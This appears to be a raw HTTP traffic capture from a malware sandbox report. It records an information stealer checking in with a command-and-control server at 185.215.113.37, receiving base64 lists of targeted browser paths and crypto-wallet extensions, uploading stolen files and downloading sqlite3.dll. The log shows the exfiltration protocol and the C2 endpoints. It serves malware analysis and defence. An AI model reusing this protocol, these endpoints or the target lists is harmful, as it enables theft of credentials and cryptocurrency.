Oct 1, 2024 06:03:02.423464060 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 42 33 46 45 39 44 37 32 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="hwid"FCB3FE9D726E2371543510------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="build"doma------CGIDGCGIEGDGDGDGHJKK--
Oct 1, 2024 06:03:02.658813953 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 4a 69 4d 7a 41 32 4d 44 45 78 5a 54 4a 6a 4e 44 41 32 4e 47 56 6d 5a 57 46 6d 59 54 46 69 4d 6d 59 31 4e 57 55 77 59 7a 42 6a 4f 47 55 32 59 54 49 35 4d 7a 49 77 5a 44 64 6c 4d 54 46 6c 4e 44 4a 6a 4f 54 45 30 4d 54 64 6b 59 7a 4a 68 4e 7a 45 34 4d 44 4d 30 4f 47 4d 33 4f 57 45 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MTJiMzA2MDExZTJjNDA2NGVmZWFmYTFiMmY1NWUwYzBjOGU2YTI5MzIwZDdlMTFlNDJjOTE0MTdkYzJhNzE4MDM0OGM3OWEzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 1, 2024 06:03:02.791661978 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"browsers------FIDAFIEBFCBKFHIDHIJE--
Oct 1, 2024 06:03:03.010977983 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 1, 2024 06:03:03.011014938 CEST	124	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxc
Oct 1, 2024 06:03:03.096885920 CEST	388	IN	Data Raw: 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 45 64 59 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d Data Ascii: T3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN
Oct 1, 2024 06:03:03.098059893 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="message"plugins------HDAKJDHIEBFIIDGDGDBA--
Oct 1, 2024 06:03:03.317473888 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 1, 2024 06:03:03.317516088 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 1, 2024 06:03:03.317552090 CEST	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 1, 2024 06:03:03.317581892 CEST	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Oct 1, 2024 06:03:03.317616940 CEST	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Oct 1, 2024 06:03:03.317651987 CEST	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Oct 1, 2024 06:03:03.317688942 CEST	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Oct 1, 2024 06:03:03.319551945 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"fplugins------GCBGCAFIIECBFIDHIJKF--
Oct 1, 2024 06:03:03.543262005 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 1, 2024 06:03:03.561705112 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.37 Content-Length: 7251 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 06:03:03.561757088 CEST	7251	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 1, 2024 06:03:04.293934107 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:03:04.552366018 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:04.769432068 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:04 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 1, 2024 06:03:04.769448042 CEST	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 1, 2024 06:03:05.848737955 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 06:03:06.572968006 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:03:06.654813051 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 06:03:07.375730991 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
